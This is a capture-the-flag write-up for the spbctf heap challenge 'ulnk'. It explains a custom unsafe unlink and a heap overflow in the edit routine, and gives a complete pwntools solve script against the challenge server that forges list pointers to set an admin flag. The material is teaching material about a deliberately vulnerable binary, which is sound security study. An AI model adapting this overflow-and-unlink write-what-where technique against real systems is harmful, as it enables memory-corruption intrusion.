ulnk
ulnk
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-07-05 | Status: Solved Techniques: global_flag_overwrite, heap_overflow, off_by_pointer_overwrite, unsafe_unlink, write_what_where
Summary
Task: menu-driven pwn with a custom circular doubly-linked list that implements its own unsafe unlink (no glibc free) plus a heap overflow in edit. Solution: overflow node A's data into node B's fd/bk pointers, then delete B so the classic unlink write-what-where sets the global is_admin flag, unlocking system("cat flag.txt").
ulnk — spbctf
Description
easy custom unlink
nc 109.233.56.90 11807Binary:mc3.elf(https://pwn.spbctf.ru/files/advhp/mc3/mc3.elf)
A menu-driven x86-64 heap challenge. The program maintains a custom circular
doubly-linked list of fixed-size nodes and implements its own node deletion
by manually unlinking nodes — glibc free() is never called. The deletion code
is a textbook unsafe unlink (*(p->fd+8)=p->bk; *(p->bk)=p->fd), and a
separate heap overflow in the edit routine lets us plant attacker-controlled
fd/bk pointers. The goal is to flip a global is_admin flag that gates a
system("cat flag.txt") call.
Note on the flag format: the task text hinted at
CODEBY{...}, but the real remote flag is wrapped inspbctf{...}. Do not trust a hinted wrapper — always read what the service actually prints.
Recon
checksec on mc3.elf:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000) <-- static globals at fixed 0x4040xx
Stripped: No <-- symbols: allocate/edit/delete/logic/read_n
Toolchain: Ubuntu 9.3.0 / glibc 2.31 (Ubuntu 20.04). No PIE is the key enabler — the writable globals live at fixed addresses:
is_admin—intat0x4040acHEAD— list head pointer at0x4040b0
Node layout
Each node is a single malloc(0x50) chunk (0x60 including header) with:
| offset | field | meaning |
|---|---|---|
| +0x00 | fd | next pointer |
| +0x08 | bk | prev pointer |
| +0x10 | data | user data (0x40 max) |
Menu (logic, choice read via scanf("%d"))
- 1 — allocate:
malloc(0x50); setfd=bk=self;read_n(node+0x10, 0x40); ifHEAD != 0splice into the head of the circular list;HEAD = node. So the newest node isHEAD(index 0). The first-allocated node sits at the lower heap address; later allocations are at higher addresses. - 2 — print:
if (is_admin != 0) system("cat flag.txt");← the win path. - 3 — edit: prompts
Enter index:(0..0x63), walksp = HEADthenp = p->fdindextimes, and callsread_n(p+0x10, 0x80). BUG: it reads up to 0x80 bytes into a chunk whose usable size is only 0x50 → heap overflow into the next physical chunk'sfd/bk. - 4 — delete: prompts
Enter index:, walks to nodeindex, then performs the unsafe unlink (see below).
read_n(dst, n) behaviour
Reads byte-by-byte with read(0, .., 1); stops when n bytes are read OR a
newline (0x0a) is seen OR read returns <= 0, writing a NUL terminator
on newline/EOF. Consequence: a payload shorter than n must be newline-terminated,
otherwise the program blocks waiting for the rest. Pointer bytes must therefore
avoid 0x0a (our targets 0x4040a4 / 0x4040b0 are clean).
The unsafe unlink
Disassembly of delete at 0x4014d0 (with p = [rbp-0x10]):
asm read-only • copy allowed4014d0 mov rax, [p] ; rax = p->fd 4014d4 mov rax, [rax] ; (loads p->fd) 4014d7 mov rdx, [p] 4014db mov rdx, [rdx+0x8] ; rdx = p->bk 4014df mov [rax+0x8], rdx ; *(p->fd + 8) = p->bk <-- write #1 4014e3 mov rax, [p] 4014e7 mov rax, [rax+0x8] ; rax = p->bk 4014eb mov rdx, [p] 4014ef mov rdx, [rdx] ; rdx = p->fd 4014f2 mov [rax], rdx ; *(p->bk) = p->fd <-- write #2
In C:
c read-only • copy allowed*(p->fd + 8) = p->bk; // write #1 *(p->bk) = p->fd; // write #2
If we control a node's fd and bk, this is a write-what-where:
- write #1 stores the value
bkat addressfd + 8; - write #2 stores the value
fdat addressbk(sobkmust be writable).
Write-what-where reasoning
We want is_admin (at 0x4040ac) to become nonzero. Point write #1 at it:
fd + 8 == &is_admin -> fd = 0x4040ac - 8 = 0x4040a4
Then write #1 does *(0x4040a4 + 8) = *(0x4040ac) = is_admin = bk. So the value
written into is_admin is exactly bk. We need bk both nonzero and a
writable address (write #2 dereferences it). &HEAD = 0x4040b0 satisfies
both: it is writable, and 0x4040b0 is a nonzero value, so is_admin becomes
0x4040b0 != 0. Write #2 then does *(0x4040b0) = *HEAD = fd = 0x4040a4, a
harmless overwrite of the (about-to-be-abandoned) HEAD global.
fd = 0x4040a4 (&is_admin - 8)
bk = 0x4040b0 (&HEAD, writable and nonzero)
Heap-overflow offset derivation
We plant those pointers into a node's fd/bk via the edit overflow. Allocate
two nodes:
- A — first alloc, lower heap address, ends up at index 1.
- B — second alloc, higher address, becomes
HEAD(index 0), withB->fd = A.
Chunk B sits immediately after chunk A in memory: B_chunk = A_chunk + 0x60
(0x50 request → 0x60 total chunk). A's data begins at A_chunk + 0x10, so from
A's data buffer:
offset to B->fd = (A_chunk + 0x60) - (A_chunk + 0x10) = 0x50
offset to B->bk = 0x58
Editing index 1 (node A) with the 0x80-byte overflow lets us write past A's 0x40 data into B's header. Payload:
b'A'*0x50 + p64(0x4040a4) + p64(0x4040b0) + b'\n'
^ B->fd ^ B->bk
The trailing \n is mandatory: the payload is 0x60 bytes < 0x80 count, so
read_n needs the newline to stop.
Exploit chain
allocate(A)— lower address (index 1).allocate(B)— higher address, becomesHEAD(index 0),B->fd = A.edit(index=1, ...)— overflow A into B, settingB->fd = 0x4040a4,B->bk = 0x4040b0.delete(index=0)— unlink B fires the write-what-where:*(B->fd+8) = is_admin = 0x4040b0(nonzero ⇒ admin unlocked);*(B->bk) = HEAD = 0x4040a4(harmless).menu(2)—is_admin != 0⇒system("cat flag.txt")prints the flag.
Full solve script
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' HOST, PORT = '109.233.56.90', 11807 is_admin = 0x4040ac # int global gating system("cat flag.txt") HEAD = 0x4040b0 # list head pointer (writable, nonzero) def menu(io, choice): # menu is reprinted each loop and ends with the line "4 - delete" io.sendlineafter(b'4 - delete', str(choice).encode()) def allocate(io, data): menu(io, 1) io.recvuntil(b'Enter data:') io.send(data) # read_n stops on newline; send exact def edit(io, index, data): menu(io, 3) io.recvuntil(b'Enter index:'); io.sendline(str(index).encode()) io.recvuntil(b'Enter data:'); io.send(data) def delete(io, index): menu(io, 4) io.recvuntil(b'Enter index:'); io.sendline(str(index).encode()) io = remote(HOST, PORT) allocate(io, b'A'*0x40) # node A -> index 1 (lower address) allocate(io, b'B'*0x40) # node B -> HEAD/index 0, B->fd = A # Overflow A's data (0x50) into B's header: B->fd, B->bk payload = b'A'*0x50 + p64(is_admin - 8) + p64(HEAD) assert b'\n' not in payload edit(io, 1, payload + b'\n') # trailing '\n' terminates read_n delete(io, 0) # unsafe unlink -> is_admin = 0x4040b0 menu(io, 2) # system("cat flag.txt") data = io.recvall(timeout=5) m = re.search(rb'(spbctf|CODEBY)\{[^}]*\}', data) if m: log.success('FLAG: ' + m.group(0).decode()) print(data.decode(errors='replace'))